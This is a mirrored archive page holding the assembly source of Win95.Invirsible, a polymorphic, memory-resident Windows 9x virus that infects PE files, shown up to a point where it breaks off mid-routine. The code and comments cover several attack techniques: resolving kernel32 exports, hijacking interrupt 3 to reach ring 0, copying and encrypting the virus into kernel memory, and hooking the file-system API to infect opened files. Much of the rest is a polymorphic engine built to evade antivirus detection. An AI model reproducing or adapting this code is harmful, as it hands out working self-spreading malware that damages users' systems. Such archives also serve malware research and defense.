13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/LegacyWindows/Win95.Invirsible.asm
2020-10-09 21:54:36 -05:00

4174 lines
94 KiB
NASM
Raw Blame History

; Win95.Invirsible
; Bhunji
;
; proudly presents ;)
;
; Invirsible
;
; Virusinfo
; Version 2
; Size: Big, usually around 7.6k
; Infects: PE files
; Resident: Yes
; Systems; Win9x
; Polymorhic: Yes
; This is the second version on Invirsible. My goal with this virus
; is to make it as hard as possible to detect. It has one technique
; never seen in a virus before which I call the Guide technique. More
; info about this can be found at www.shadowvx.org. It carries a very
; advanced generic polymorpher. It is able to polymorph mov, add, sub
; so far but its trivial to add more instructions. The engine uses
; emulation to generate code. It is able to emulate memory and registers
; which results in code that looks very real. Coding new code to be
; polymorphed is pretty easy as it's similar to Intel asm.
; ex. mov RX1,[RX2]
; mov Random register 1, [Random register 2]
; Changes since last version
; A total rewrite of the polymorphic code. Works way better now.
; * Changed the polymorphic language to be more similar to Intel asm
; * Added memory emulation, the created code uses the end of .data segment.
; * Deleted advanced register emulation, did hardly create better code
; and was taking up lots of space.
; * Very generic, adding a new instruction needs 10 lines of data/code
; instead of 200-400 lines.
; * An optimiser that deletes the very worst code. (fx. mov eax,eax)
; * The linked list polymorpher will create a six different looking
; decryptors for the generic polymorpher.
; Some changes to the virus
; * Bugfixes. (Doesn't crash on infection :) )
; * Search for slackspace in .data segment. This space is used by the
; generated code to look more like real code.
; * Recompilation of the code before every infection to make the pointers
; point to the .data slack
; Things to be added in the future.
; * More instructions will be added to the polymorpher
; * A more powerful optimiser
; * Infect on NT too.
; * Spreading by mail
; * Infection of hlp files
; * EPO
; * Deregister the most common AV software on file but register it later in
; memory. This will not happen if the AV gives the virus its proper name.
; * A better method of upgrading the virus ala babylonia.
; And here is an example of what code the engine is able and has been
; able to generate.
; Version 1
; Version one is able to emulate/generate
; add, mov
s
; (code is taken from a generated Guide)
; mov ecx, 0Ch
; mov ebx, fs:[ecx] ; get random number
; mov edx, 0
; add edx, eax
; add eax, esi
; mov edi, 0
; add edi, 6472DAADh
; mov eax, 5A97451Fh
; mov eax, edx
; add edi, ecx
; mov ecx, 0
; add ecx, ebx
; or ecx, 8
; xor ebx, ecx ; 'and' ebx,8
; add edi, 0DCA7B4AAh
; add edi, 60E4CB5Ch
; mov edi, ebx
; add ebx, offset jumptable ; add ebx, offset jumptable
; jmp dword ptr [ebx]
; patterns
; Differences from the trash code
; fs:[register]
; or/and register,8
; jmp [register]
; The trashcode
; very few instructions
; no memory instructions
; the same amount of every emulateable instruction (normal code has more
; movs then adds for example)
; unnecessary instructions. Ex.
; mov eax, 5A97451Fh ; this is unnessesary
; mov eax, edx ; as this overwrites eax again
; Version 2
; Version two is able to emulate
; add, sub, mov, and, or, xor and memory
; Generates on average more movs then the
; adds and more adds then the other opcodes.
; Generates more registers then memory operands and
; more memory operands then numbers.
; The end result 'feels' more like regular code.
; Many many bugfixes. (There are no more bugs i hope)
; Code is taken from a generated decryptor
;
; mov edx, 8D403766h
; xor [4030D7], 1A45h ; 1a45 = virussize
; xor esi, [4030CF]
; mov [4030CF], ecx
; mov esi, 45BBA054h
; add edi, 0CCFC6B5Bh
; mov ebx, 1A45h ; first "real" instruction
; mov eax, [4030CF]
; sub edi, 1A45h
; or eax, ebx
; mov edi, 1A45h
; mov edi, 3
; add ecx, 3
; mov edx, [4030BF] ; second
; add [4030D7], eax
; mov esi, 3
; DecryptLoop:
; pusha ; will be deleted in future versions
; mov eax, 1FF5893Dh
; mov ecx, ebx
; sub eax, 0E138ABECh
; add edx, ecx ; third
; mov esi, ecx
; mov edi, ebx
; mov eax, 0D6E7BEF5h
; mov [4030CF], 5493B89Ch
; sub ecx, [4030B3]
; mov eax, 0E138ABECh
; and [4030D3], ecx
; or eax, ebx
; xor [edx], 0E138ABECh ; decrypt code
; mov [4030D7], 0E138ABECh
; popa
; sub ebx, 4 ;
; jnb DecryptLoop
; mov dword_0_4030CF, 69472C81h
; mov ecx, 0F5D970C4h
; mov edi, 1
; mov eax, dword_0_4030B7
; add ecx, 8244076Eh
; If we put the real code pieces together we get.
;
; mov ebx, 1A45h ; VirusSize
; mov edx, [4030BF] ; Where to start decrypt
; DecryptLoop:
; add edx, ecx ; third
; xor dword ptr [edx], 0E138ABECh ; decrypt code
; sub ebx, 4 ;
; jnb DecryptLoop
; The third instruction should add "Where to start" with "VirusSize" but
; as you can see it is added with ecx instead, this is because of the
; emulation. The engine knows that ecx = ebx = VirusSize so it used ecx
; instead.
; patterns
; Differences from the trash code
; pushad/popad ; easy to delete
; [Register] ; engine is only able to create [Number]
; jxx ; Engine isnt able to create jumps yet
; The trashcode
; Still to few instructions, needs push/pop, call, jmp, jxx to look at least
; something like real code.
; Memory instructions isn't able to create memory pointers with a register
; inside, eg [Number+register]. A better compiler will fix this.
; Still unnecessary instructions. Ex.
; mov eax, 0D6E7BEF5h ; this is unnessesary
; ...
; mov eax, 1FF5893Dh ; as this overwrites eax again
;
; Greetings
; (M)asmodeus. Dropper.exe has generated errors and will be closed by
; Windows :)))
; Morphi Hoppas att du f<>r det b<>ttre i helsingborg
; Prizzy Thanks for helping me with the bug
; Ruzz Yes, i have FINALY finished it :)
; Kamaileon. I wish you luck with the windows programming.
; Clau Hello sister ;)
; Urgo32 Good luck with your next virus.
includelib kernel32.lib
includelib user32.lib
include c:masmincludewindows.inc
.486
.model flat, stdcall
ExitProcess PROTO ,:DWORD
MessageBoxA PROTO ,:DWORD,:DWORD,:DWORD,:DWORD
; Primes, used them in the first version for advanced register emulation,
; might be usefull in the future
Prime1 equ 2
Prime2 equ 3
Prime3 equ 5
Prime4 equ 7
Prime5 equ 11
Prime6 equ 13
Prime7 equ 17
Prime8 equ 19
Prime9 equ 23
Prime10 equ 29
Prime11 equ 31
Prime12 equ 37
Prime13 equ 41
Prime14 equ 43
Prime15 equ 47
Prime16 equ 53
Prime17 equ 59
Prime18 equ 61
Prime19 equ 67
Prime20 equ 71
Prime21 equ 73
Prime22 equ 77
.data
VirusStr db "No crack found",0
.code
ProgramMain:
push 0
call ExitProcess
_rsrc segment para public 'DATA' use32
assume cs:_rsrc
VirusStart:
Main:
mov ebx,[esp]
push ebp
call GetDelta
GetDelta:
pop ebp
sub ebp,offset GetDelta ; address
mov [Temp+ebp],ebx ; save offset into kernel
.if ebp!=0 ; code that isn't
; executed in the first
; version
mov eax,[eax] ; polymorphic code will
mov [InfectedProgramOffset+ebp],eax ; move pointer to
.endif ; programstart in eax
lea eax,BreakPoint1
lea eax,[ebp+GetDelta] ; move some address to
mov [PointerToDataSlack+ebp],eax ; PTDS, doesnt matter as
; long as its a working one
; mov eax,fs:[0c]
db 67h,64h,0a1h,0ch,00h ; get random number
add [RandomNumber+ebp],eax ; (is not random on NT)
call GetAPIFunctions ; Get needed API functions
call FixTables ; clean the 'dirty' tables
; and allocate mem for the
; polymorpher
call CreateGuideAndDecryptor ; Generate the polymorphic
; code
call GetResident ; intercept IFSMgr to get
; filenames to infect
ReturnToHost:
push [MemPtr+ebp] ; free allocated mem used
call [LocalFree+ebp] ; by polymorpher
mov eax,[InfectedProgramOffset+ebp] ; program address
pop ebp ; restore ebp
jmp eax ; jmp to program
Topic db "You can not find what you can not see.",0
db "Invirsible by Bhunji (Shadow VX)",0
VSize equ VirusEnd-VirusStart
VirusSize equ VSize
; how much stack and mem should the polymorpher use
NumberOfOffsets equ 10 ; more size = better code
; (doesnt matter right now
; because the engine isnt
; able to create jumps)
StackSize equ 100 ; (doesnt matter right now
; because the engine isnt
; able to emulate the stack)
MemorySize equ 10 ; The more size the better
; code is produced but makes
; it harder to find a file to
; infect
LinesOfTrash equ 3 ; LinesOfTrash is the
; aproximate numbers of
; random instructions between
; every "legal" instruction
; LinesOfTrash
; Fixup instruction
; LinesOfTrash
EndValueFrecuency equ 1 ; the higher the more often
; is the EndValue chosed
; the higher the number is
; the harder is it to detect
; my looking at one
; instruction, but its easier
; to detect by looking at many
; instructions.
; 1 is a perfect value
MemPtr dd 0 ; ptr to allocated mem
ReturnAddress dd 0 ; stores the return address
; in some functions
InfectedProgramOffset dd ProgramMain ; where to jump when
; done
Temp dd 0 ; just a temporary variable
; API's the virus uses
WinFunctions:
lstrlenStr db "lstrlen",0
LocalAllocStr db "LocalAlloc",0
LocalFreeStr db "LocalFree",0
db 0
; pointers to these
Functions:
lstrlen dd ?
AllocMem dd ?
LocalFree dd ?
FixTables:
lea edi,[ZeroRegStart+ebp]
mov ecx,(ZeroRegEnd-ZeroRegStart)/4
xor eax,eax
rep stosd
lea edi,[RandomRegs+ebp]
mov ecx,Registers
dec eax
rep stosd
lea edi,[SavedOffsets+ebp]
mov ecx,NumberOfOffsets
rep stosd
lea eax,[EaxTable+ebp]
mov [Tables+ebp],eax
mov eax,MemorySize*20+StackSize*20
push eax
push LMEM_FIXED + LMEM_ZEROINIT
call [AllocMem+ebp]
mov [Tables+ebp+4],eax
add eax,MemorySize*20
mov [Tables+ebp+8],eax
call UndefineRegistersAndMem
xor eax,eax
lea esi,[Mem1Table+ebp]
mov edi,[Tables+ebp+4]
lodsb
mov ecx,eax
PredefinedMem:
lodsb
push edi
imul eax,eax,20
lea edi,[edi+eax]
push ecx
mov ecx,5
rep movsd
pop ecx
pop edi
loop PredefinedMem
ret
UndefineRegistersAndMem:
lea edi,[EaxTable+ebp+4*4]
mov ecx,Registers
mov eax,Writeable+Undefined
SetOpcodeInfo1:
stosd
add edi,4*4
loop SetOpcodeInfo1
mov edi,[Tables+ebp+4]
add edi,4*4
mov ecx,MemorySize+StackSize
mov eax,Writeable+Undefined
SetOpcodeInfo2:
stosd
add edi,4*4
loop SetOpcodeInfo2
ret
GetModuleHandle dd 0
GetProcAddress dd 0
GetProcAddressStr db "GetProcAddress",0
GetAPIFunctions:
mov eax,[Temp+ebp]
call GetModuleHandleAndProcAddress
mov [GetModuleHandle+ebp],eax
mov [GetProcAddress+ebp],ebx
xor edx,edx
lea edx,[WinFunctions+ebp]
xor ecx,ecx
CopyWinApiFunctions:
push edx
push ecx
push edx
push edx
push [GetModuleHandle+ebp]
call [GetProcAddress+ebp]
mov ecx,[esp+4]
mov [Functions+ebp+ecx],eax
call [lstrlen+ebp]
pop ecx
pop edx
add edx,eax
add ecx,4
inc edx
cmp byte ptr [edx],0
jnz CopyWinApiFunctions
NoMoreApis:
ret
; Input
; eax = somewhere in kernel
; Returns
; eax = GetModuleHandler offset
; ebx = GetProcAddress offset
GetModuleHandleAndProcAddress:
and eax,0fffff000h ; even 1000h something
FindKernelEntry:
sub eax,1000h
cmp word ptr [eax],'ZM'
jnz FindKernelEntry
mov ebx,[eax+3ch]
cmp word ptr [ebx+eax], 'EP'
jne FindKernelEntry
mov ebx,[eax+120+ebx]
add ebx,eax ; ebx -> Export table
mov ecx,[ebx+12] ; ecx -> dll name
cmp dword ptr [ecx+eax],'NREK'
jz FindGetProcAddress
jmp FindKernelEntry
; We can now be sure that eax points to the kernel
FindGetProcAddress:
lea edi,[GetProcAddressStr+ebp]
mov edx,[ebx+32]
FindFunction:
add edx,4
mov ecx,15 ; length of GetProcAddress,0
mov esi,[edx+eax]
push edi
add esi,eax
repz cmpsb
pop edi
jne FindFunction
sub edx,[ebx+32]
shr edx,1 ; ecx = ordinal pointer
lea esi,[edx+eax]
xor ecx,ecx
add esi,[ebx+36] ; esi = base+ordinals+ordnr
mov cx,word ptr [esi] ; ecx = ordinal
shl ecx,2 ; ecx = ordinal*4
add ecx,[ebx+28] ; ecx = ordinal*4+func tbl addr
mov ebx,[ecx+eax] ; esi = function addr in file
add ebx,eax ; esi = function addr in mem
ret
Encryptor dd 0
GetResident:
mov eax,[GetModuleHandle+ebp]
add eax,6ch
mov ebx,'.K3Y'
cmp [eax],ebx
jz DontGoRing0
sub esp,8
sidt [esp] ; get interupt table
; hook int 3 to get get ring 0
mov esi,[esp+2]
add esi, 3*8 ; pointer to int 3
mov ebx, [esi+4]
mov bx,word ptr [esi] ; ebx = old pointer
lea eax,[Ring0Code+ebp] ; eax = new pointer
mov word ptr [esi],ax ; move new pointer to int 3
shr eax,16
mov word ptr [esi+6], ax
pushad
int 3 ; get into ring 0
popad
mov [esi],bx ; return old pointer again
shr ebx,16
mov [esi+6],bx
add esp,8
DontGoRing0:
ret
; ---------------------------------------
; -------------------------------- Ring 0
; ---------------------------------------
Ring0Code:
mov eax,[GetModuleHandle+ebp]
add eax,6ch
mov ebx,'.K3Y'
mov [eax],ebx
mov ebx,[eax+8]
mov [eax+4],ebx
mov eax,[MemoryTable+ebp]
sub eax,[GuidePos+ebp]
push eax
add eax,(MemorySize+1)*8
push eax ; push guide + decrypt size
; + special variables
add eax,(VirusEnd-VirusStart)*2+20
; allocate mem
push eax
push R0_AllocMem
mov edi,ebp
call vxd
pop ecx
test eax,eax
jz ErrorRing0
; Copy guide and decryptor to ring 0 mem
pop ecx ; ecx = guide + decrypt size
; + special variables
mov esi,[GuidePos+ebp]
mov edi,eax
mov ebx,eax
xchg ebx,[GuidePos+ebp] ; eax = new guide pos
; ebx = old guide pos
pop edx ; edx = size of guide+decrypt
add edx,eax ; edx = new memory pos
mov [MemoryTable+ebp],edx
sub eax,ebx ; difference in mem
add [DecryptorPos+ebp],eax ; add to get new pos
rep movsb ; copy polycode to ring 0
mov edi,edx
mov ecx,(MemorySize+1)*(8/4)
xor eax,eax
rep stosd
add edx,MemorySize*4+4
mov [VirtualDataSegment+ebp],edx
pushad
mov eax,[VirtualDataSegment+ebp] ; pointer to virtual data
; segment
lea edx,[Mem1Table+ebp]
movzx ecx,byte ptr [edx] ; how much data does the
; decryptor and guide need
; predefined
inc edx
CopyDataToVirtualDataSegment:
movzx ebx,byte ptr [edx] ; where in datasegment should
; we write the data
shl ebx,2
push dword ptr [edx+1] ; push the data to write
pop [eax+ebx] ; write it to virtual data seg
add edx,1+5*4 ; point to next data block
loop CopyDataToVirtualDataSegment
popad
mov [VirusInRing0Mem+ebp],edi
mov ebx,edi
lea esi, [ebp+VirusStart]
mov ecx, VirusSize
rep movsb ; copy virus to ring 0
xor eax,eax
stosd
stosd
; encrypt virus in memory
pushad
mov esi,[Encryptor+ebp]
push ebx ; pointer to virus in ring0
mov eax,esp
push eax ; pointer to pointer
push eax
push eax
push eax
mov [PointerToDataSlack+ebp],esp ; all special variables
; points to pointer to
; virus in ring 0
call Compile
call esi
add esp,5*4
popad
; copy residentcode to mem
push edi
lea esi, [ebp+ResidentcodeStart]
mov ecx, ResidentcodeEnd-ResidentcodeStart
rep movsb
; hook API function
; edi is on stack
push InstallFileSystemAPIhook
mov edi,ebp
call vxd
pop edi ; 0 edi left on stack
sub edi,ResidentcodeStart
mov [edi+BasePtr+1],edi
mov [edi+OldAPIFunction],eax
BreakPoint1:
lea eax,[edi+BreakPoint]
lea eax,[edi+BreakPoint]
iretd
ErrorRing0:
pop eax
xor eax,eax
iretd
CreateGuideAndDecryptor:
push 1024*1024
push LMEM_FIXED + LMEM_ZEROINIT
call [AllocMem+ebp]
mov [MemPtr+ebp],eax
mov edi,eax
lea esi,[Guide+ebp]
call LinkedListPolymorpher
call Polymorph ; create Guide
mov [GuidePos+ebp],esi
mov [GuideSize+ebp],eax
add edi,32
lea esi,[Decryptor+ebp]
call LinkedListPolymorpher
push esi
call Polymorph ; create Decryptor
mov [DecryptorPos+ebp],esi
mov [MemoryTable+ebp],edi
mov [DecryptorSize+ebp],eax
call UndefineRegistersAndMem
mov [HowMuchTrash+ebp],0
pop esi
pushad
mov edi,esi
mov eax,Op_trash
bswap eax
xor ecx,ecx
xor edx,edx
FindTrashInstruction:
inc edi
cmp [edi],edx
jz EndOfTrashInstructions
xor ecx,ecx
cmp [edi],eax
jnz FindTrashInstruction
add edi,4
push eax
xor eax,eax
stosb
pop eax
jmp FindTrashInstruction
EndOfTrashInstructions:
test ecx,ecx
jnz ReallyEnd
inc ecx
add edi,3
jmp FindTrashInstruction
ReallyEnd:
popad
add edi,eax
call MutateCode ; Generic polymorphing
mov ecx,edi
sub ecx,esi
shr ecx,1
mov edi,esi
FindDecryptInstruction:
mov eax,'R['
repnz scasw ; find [R
inc edi
mov ax,word ptr [edi]
cmp eax,',]' ; is this [Rx],
jnz FindDecryptInstruction ; if not, continue looking
and edi,0fffffff0h
mov eax,[edi]
bswap eax
.if eax==Op_xor
jmp CompileEncryptor
.elseif eax==Op_add
mov eax,Op_sub
bswap eax
stosd
jmp CompileEncryptor
.else
mov eax,Op_add
bswap eax
stosd
jmp CompileEncryptor
.endif
CompileEncryptor:
mov [Encryptor+ebp],esi
ret
; ---------------------------------------------------
; --------------------------- The generic polymorpher
; ---------------------------------------------------
; esi = Data to polymorph
; edi = where to put the created data
; Returns
; esi = start of created data
; edi = end of created data/start of created code
; eax = size of the created code
; Defined opcode looks
Op_add equ 'add '
Op_and equ 'and '
Op_mov equ 'mov '
Op_or equ 'or '
Op_sub equ 'sub '
Op_xor equ 'xor '
Op_cmp equ 'cmp '
Op_jnz equ 'jnz '
Op_jnb equ 'jnb '
Op_jna equ 'jna '
Op_jmp equ 'jmp '
Op_offset equ 'ofs '
Op_db equ 'db ' ; output whats in there,
; dont polymorph,
; dont compile
Op_dontparse equ '!emu' ; dont polymorph only
; compile
; special opcodes
Op_encrypt equ 'cpt ' ; encrypt this operand,
; used to create encryptor/
; decryptor
Op_setinfo equ 'nfo ' ; set info of operand
; used to define a operand
; changable or similar.
Op_prefix equ 'pfx ' ; prefix, eg fs:, es: and
; similar. Will be deleted
; in future versions
Op_trash equ 'trsh' ; how mush trash to be
; produced, use wisely
; to make your code better
; or when you need to save
; the flags
LinkedListPolymorpher:
call TablePolymorpher ; 'old' style polymorphics
; esi -> created data
; edi -> created data+sizeof (created data)+1
ret
Polymorph:
add edi,16
and edi,0fffffff0h
push edi
push edi
call MutateCode ; Generic polymorphing
pop edi
; esi -> created data
call Optimize ; Optimize the created code
; esi -> created data
; edi -> created data+sizeof (created data)+1
push edi
call Compile ; compile the code to get
; the size
pop edi
pop esi
ret
Regs equ 6
Registers equ Regs
InfoPtr equ 16
; This polymorher is a bit different from the usuall one.
; It's able to create code that does different things, not just
; the same with a different look.
TablePolymorpher:
; A nice recursive function :)
xor eax,eax
xor ecx,ecx
push edi
push 0
ReadInstruction: ; 'execute' function
mov cl, byte ptr [esi] ; How many bytes to output
inc esi
rep movsb
ParseCall: ; end of this function,
; should we call an other
lodsb
test eax,eax
jz ReturnFromCall ; no, return
lea ebx,[esi+eax*4]
push ebx ; push return address
call Random
mov esi,[esi+eax*4] ; address of the function
add esi,ebp
jmp ReadInstruction ; jmp to function 'executer'
ReturnFromCall:
pop esi ; return from main function
test esi,esi
jnz ParseCall
NoMoreParsing:
xor eax,eax
stosd
stosd
pop esi
ret
Decryptor:
db 0
db 1
dd R0VSize
; dd R0Zero
db 1
dd MovePoinerToProgramStart
db 0
MovePoinerToProgramStart:
db MovePoinerToProgramStartEnd-$-1
db "trsh",LinesOfTrash
db "mov R1,[N"
dd 1
db "]"
MovePoinerToProgramStartEnd:
db 0
R0VSize:
db R0VSizeEnd-$-1
db "mov RX0,N"
dd VSize
R0VSizeEnd:
db 2
dd R1VirusStart
dd R1VirusEnd
db 1
dd EncryptRX1
db 1
dd SubR0AndJump
db 0
SubR0AndJump:
db SubR0AndJumpEnd-$-1
db "db ",1 ; Bytes not to be morphed
popad
db "trsh",0
db "sub RX0,N"
dd 4
db "!emu",9 ; dont do anything about this
db "jnb N"
dd 0
SubR0AndJumpEnd:
db 0
R0Zero:
db R0ZeroEnd-$-1
db "mov RX0,N"
dd 0
R0ZeroEnd:
db 2
dd R1VirusStart
dd R1VirusEnd
db 1
dd EncryptRX1
db 1
dd AddR0AndJump
db 0
AddR0AndJump:
db AddR0AndJumpEnd-$-1
db "db ",1 ; Bytes not to be morphed
popad
db "add RX0,N"
dd 4
db "trsh",0
db "!emu",13 ; dont do anything about this
db "cmp RX0,N"
dd VSize
db "!emu",9 ; dont do anything about this
db "jna N"
dd 0
AddR0AndJumpEnd:
db 0
R1VirusStart:
db R1VirusStartEnd-$-1
db "mov RX1,[N"
dd 3
db "]"
db "ofs 0"
db "db ",1
pushad
db "nfo RX2"
dd Undefined
db "add RX1,RX0"
R1VirusStartEnd:
db 0
R1VirusEnd:
db R1VirusEndEnd-$-1
db "mov RX1,[N"
dd 3
db "]"
db "add RX1,N"
dd VSize
db "ofs 0"
db "db ",1
pushad
db "nfo RX2"
dd Undefined
db "sub RX1,RX0"
R1VirusEndEnd:
db 0
EncryptRX1:
db 0
db 1
dd RandomReg
db 0
OpcodeXor:
db 4
db "xor "
db 0
OpcodeAdd:
db 4
db "add "
db 0
OpcodeSub:
db 4
db "sub "
db 0
RandomReg:
db 0
db 1
dd RandomOpcode
db 1
dd RandomizeMemWithReg
db 0
RandomizeMemWithReg:
db RandomizeMemWithRegEnd-$-1
db "[RX1],N"
RandomNumber dd 0
RandomizeMemWithRegEnd:
db 0
RandomOpcode:
db 0
db 3
dd OpcodeXor
dd OpcodeAdd
dd OpcodeSub
db 0
Guide:
db DefinedTrash-$-1
db "trsh",LinesOfTrash
DefinedTrash:
db 1
; dd RandomEveryBoot
dd RandomEveryTime
db 1
dd MakeZeroOrEight
db 0
RandomEveryTime:
db RandomEveryTimeEnd-$-1
db "pfx ",64h ; prefix fs:
db "mov RX0,[N"
dd PointerToRandomMemory
db "]" ; mov X0, fs:[0ch]
RandomEveryTimeEnd:
db 0
RandomEveryBoot:
db RandomEveryBootEnd-$-1
db "nfo R"
RandomEveryBootEnd:
db 3
dd RndEcx
dd RndEdi
dd RndEsi
db 0
RndEcx:
db RndEcxEnd-$-1
db "3"
dd Undefined
db "mov RX0,R3"
RndEcxEnd:
db 0
RndEdi:
db RndEdiEnd-$-1
db "5"
dd Undefined
db "mov RX0,R5"
RndEdiEnd:
db 0
RndEsi:
db RndEsiEnd-$-1
db "6"
dd Undefined
db "mov RX0,R6"
RndEsiEnd:
db 0
MakeZeroOrEight:
db MakeZeroOrEight-$-1
db "and RX0,N"
dd 8
db "add RX0,[N" ; special variable 1 =
dd 1 ; pointer to jump table
db "]"
db "jmp [RX0]" ; jmp [X0]
MakeZeroOrEightEnd:
db 0
; ---------------------------------------------
; ---------------- MutateCode -----------------
; ---------------------------------------------
; ------------- Local variables
Prefix dd 0
EndWhere:
Trash dd 0
ToReg dd 0
ToMemValue dd 0
ToMemReg dd 0
FromWhere:
FromValue dd 0
FromReg dd 0
FromMemValue dd 0
FromMemReg dd 0
TempWhere:
TempValue dd 0
TempReg dd 0
TestMemValue dd 0
TestMemReg dd 0
Temp1 dd 0
Temp2 dd 0
Writeable equ 1b
Undefined equ 10b ; is has a unknown value
Uninitialized equ -1
TableSize equ EbxTable-EaxTable
EndValue dd 0
EndTypeOfValue dd 0
Tables: ; pointers to the different
; tables
RegTables dd EaxTable
MemoryTables dd 0 ; Is allocated later
StackTables dd 0 ; first table is EspTable
EaxTable:
EaxValueNumber dd 0
EaxValueReg dd 0
EaxMemoryNumber dd 0
EaxMemoryReg dd 0
EaxInformation dd Undefined+Writeable
EbxTable:
dd 0,0,0,0, Undefined+Writeable
EcxTable:
dd 0,0,0,0, Undefined+Writeable
EdxTable:
dd 0,0,0,0, Undefined+Writeable
EsiTable:
dd 0,0,0,0, Undefined+Writeable
EdiTable:
dd 0,0,0,0, Undefined+Writeable
; this table is copied to mem, its used to define
; starting values for the memory
; Undefined mem start as Undefined+Writeable (you could change this to
; only writable for slightly better code.)
Mem1Table:
db 4 ; how many tables
db 0 ; which table
dd 0,0,0,0, Undefined ; program entry point
db 1
dd 0,0,0,0, Undefined ; pointer to mem 0
db 2
dd 0,0,0,0, Undefined ; decryptor entry point
db 3
dd 0,0,0,0, Undefined ; where to start decrypt
RandomRegs:
dd Registers dup (-1) ; Random Regs
; mutates the code in esi and places the result in edi
; returns a pointer to the created code in esi
; returns a pointer to the created code + sizeof(created code) in edi
MutateCode:
push edi
MorphCodeLoop:
xor eax,eax
dec eax
push edi
lea edi,[ebp+EndWhere]
mov ecx,8
rep stosd
pop edi
call Parse
jmp MorphCodeLoop
MutateEnd:
pop eax ; return address of Parse
pop esi
add esi,16
and esi,0fffffff0h
add edi,10
ret
; ----------------------- Parser
ParseSpecialVariables:
dd (ParseSpecialVariablesEnd-ParseSpecialVariables-4)/4+1
dd Op_db, Op_encrypt, Op_setinfo, Op_offset, Op_prefix
dd Op_trash,Op_dontparse,Op_jmp
ParseSpecialVariablesEnd:
ParseSpecialProcedures:
dd ParseDeclareByte, ParseEncrypt, ParseChangeInfo
dd ParseSaveOffset, ParsePrefix, ParseTrash, ParseDontParse
dd TemporaryParseJump
ParseSpecialProceduresEnd:
ParseInstructionData:
dd (ParseInstructionDataEnd-ParseInstructionData-4)/4+1
dd Op_add, Op_mov, Op_sub, Op_or, Op_xor, Op_and
ParseInstructionDataEnd:
AddPos equ 0
MovPos equ 1
SubPos equ 2
OrPos equ 3
XorPos equ 4
AndPos equ 5
InstructionData:
AddInfo:
dd offset AddInstruction
dd Op_add
MovInfo:
dd offset MovInstruction
dd Op_mov
SubInfo:
dd offset SubInstruction
dd Op_sub
OrInfo:
dd offset OrInstruction
dd Op_or
XorInfo:
dd offset XorInstruction
dd Op_xor
AndInfo:
dd offset AndInstruction
dd Op_and
InstuctionTablesEnd:
Parse:
push edi
mov ecx,[ParseSpecialVariables+ebp]
lea edi,[ParseSpecialVariables+ebp+4]
lodsd
bswap eax
repnz scasd
test ecx,ecx
jz ParseInstruction
pop edi
lea ebx,[ParseSpecialProceduresEnd+ebp]
imul ecx,ecx,4
sub ebx,ecx
mov ebx,[ebx]
add ebx,ebp
jmp ebx
ParseDeclareByte:
mov edx,Op_db
call OutputOnlyOpcode
xor eax,eax
lodsb
mov ecx,eax
stosb ; number of bytes to declare
rep movsb
ret
ParseEncrypt:
call GetOperand
ret
ParseChangeInfo:
mov eax,666666h
call GetOperand
mov ecx,eax
lodsd
xchg eax,ecx
call ChangeInfo
ret
ParseSaveOffset:
mov edx,Op_offset
call OutputOnlyOpcode
movsb
ret
ParsePrefix:
xor eax,eax
lodsb
mov [Prefix+ebp],eax
ret
ParseTrash:
xor eax,eax
lodsb
mov [HowMuchTrash+ebp],eax
ret
ParseDontParse:
xor eax,eax
lodsb
mov ecx,eax
add edi,16
and edi,0fffffff0h
rep movsb
ret
TemporaryParseJump:
add edi,16
and edi,0fffffff0h
call OutputPrefix
mov eax,Op_jmp
bswap eax
stosd
call GetOperand
add eax,'0'
add eax,']'*256
shl eax,16
mov ax,'R['
stosd
ret
ParseInstruction:
mov ecx,[ParseInstructionData+ebp]
lea edi,[ParseInstructionData+ebp+4]
repnz scasd
pop edi
test ecx,ecx
jz MutateEnd
lea ebx,[InstuctionTablesEnd+ebp]
imul ecx,ecx,8
sub ebx,ecx
push ebx
ParseOperands:
call GetOperand
sub ebx,4
push ebx ; ToType
push eax ; ToOperand
inc esi
call GetOperand
push ebx ; FromTypeOfValue
push eax ; FromOperand
mov [EndValue+ebp],eax
mov [EndTypeOfValue+ebp],ebx
call GenerateTrash
mov eax,[esp+8] ; ToOperand
mov ebx,[esp+12] ; ToType
mov ecx,Writeable
call DeleteFromInfo
pop [FromOperand+ebp]
pop [FromTypeOfValue+ebp]
pop eax
pop ebx
mov [ToOperand+ebp],eax
mov [ToType+ebp],ebx
mov ecx,Writeable
call DeleteFromInfo
pop [EmulateInstruction+ebp]
call OutputPrefix
call EmuProc
call GenerateTrash
ret
; return
; eax = register or number
; ebx =
; 0 = value/number
; 4 = value/register
; 8 = memory/number
; 12 = memory/register
; return
; EBX = 0 if value and 4 if memory
; |'V' or 'M'
; |
; db "M"
ReadTypeOfData:
xor eax,eax
xor ebx,ebx
lodsb
cmp al,'M'
sete bl
shl bl,3
ret
; return
; EAX = the number or register
; EBX = 0 if number and 4 if register
; This procedure is in the "copy to ring 0" mem.
;GetOperand:
; xor edx,edx
; mov al,byte ptr [esi]
; cmp al,'['
; setz dl
; mov ecx,edx
; add esi,edx
; shl edx,3
; mov ebx,edx ; ebx = 0 or 8
; lodsb
; cmp al,'S' ; A variable
; jnz Label53
; mov eax,[PointerToDataSlack+ebp]
; mov edx,[esi]
; mov eax,[eax+edx*4]
; mov [esi],eax
; mov eax,'V'
; xor edx,edx
;
; Label53:
; cmp al,'R'
; setz dl
; shl edx,2
; add ebx,edx ; ebx = ebx + (0 or 4)
;
; test edx,edx ; is value
; jz ReadValue
;
; xor eax,eax
; lodsb ; read register
; cmp al,'X'
; jz GetRandomReg
; sub eax,'0'
; add esi,ecx
; ret
; ReadValue:
; lodsd
; add esi,ecx
; ret
GetRandomReg:
push ebx
call AsciiToNum
add esi,ecx
shl eax, 2
lea eax,[eax+ebp+RandomRegs] ; eax -> RandomReg
mov ebx,[eax]
cmp ebx,Uninitialized
jz GetRandomRegPtrInitialize ; There is no RnR
; Xx, create one
xchg eax,ebx ; eax = Xx
pop ebx
ret
GetRandomRegPtrInitialize:
push eax
call GetWriteableReg
pop ebx
mov [ebx],eax ; Mov RR,Random Operand
pop ebx
ret
; -----------------------------------------------
; ---------------------------- Generic polymorher
; -----------------------------------------------
; This proc takes data from WhereFrom and WhereTo and
; creates instructions from that data.
HowMuchTrash dd LinesOfTrash
RandomProcs:
db 6 ; number of instructions
db 6 ; how often it should come up
db 2
db 1
db 1
db 1
db 1
dd MovPos
dd AddPos
dd SubPos
dd OrPos
dd XorPos
dd AndPos
GenerateTrash:
mov eax,[HowMuchTrash+ebp] ; 1/LinesOfTrash that we
; stop creating trash
inc eax
call Random
test eax,eax
jz Return
call GetWriteable
mov [ToOperand+ebp],eax
mov [ToType+ebp],ebx
call RandomOperand
